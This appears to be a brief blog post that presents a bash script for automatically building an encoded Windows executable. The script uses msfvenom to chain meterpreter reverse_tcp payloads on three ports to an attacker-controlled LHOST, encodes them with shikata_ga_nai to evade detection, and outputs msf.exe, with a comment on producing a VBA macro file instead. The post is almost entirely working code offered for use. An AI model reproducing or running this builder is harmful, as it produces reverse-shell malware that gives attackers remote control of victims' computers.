Create Executable Payloads Automatically

[Wubi]

This script will create an executable file which it will listen in 3 different ports and it will be encoded with the shikata_ga_nai encoder.Of course it can be used also to create different file extensions like .vba etc automatically.You can see the source code of the script below.

#!/bin/bash
# Simple builder
LHOST="192.168.91.135"
LPORTS="4444 5555 6666"
 rm -fr /tmp/msf.raw
rm -fr /tmp/msf1.raw
echo "Building…"
echo -n "Port: `echo $LPORTS | cut -d " " -f 1`"
echo ""
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai  LHOST=$LHOST LPORT=`echo $LPORTS | cut -d " " -f 1` exitfunc=thread  > /tmp/msf.raw
for LPORT in `echo $LPORTS`
do
echo -n "Port: $LPORT"
echo ""
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai  LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf.raw >  /tmp/msf1.raw
cp /tmp/msf1.raw /tmp/msf.raw
done
# Change option –f exe to –f vba in order to create a vba file
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai  LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf1.raw > msf.exe
rm -fr /tmp/msf.raw
rm -fr /tmp/msf1.raw
echo -n "Done!"
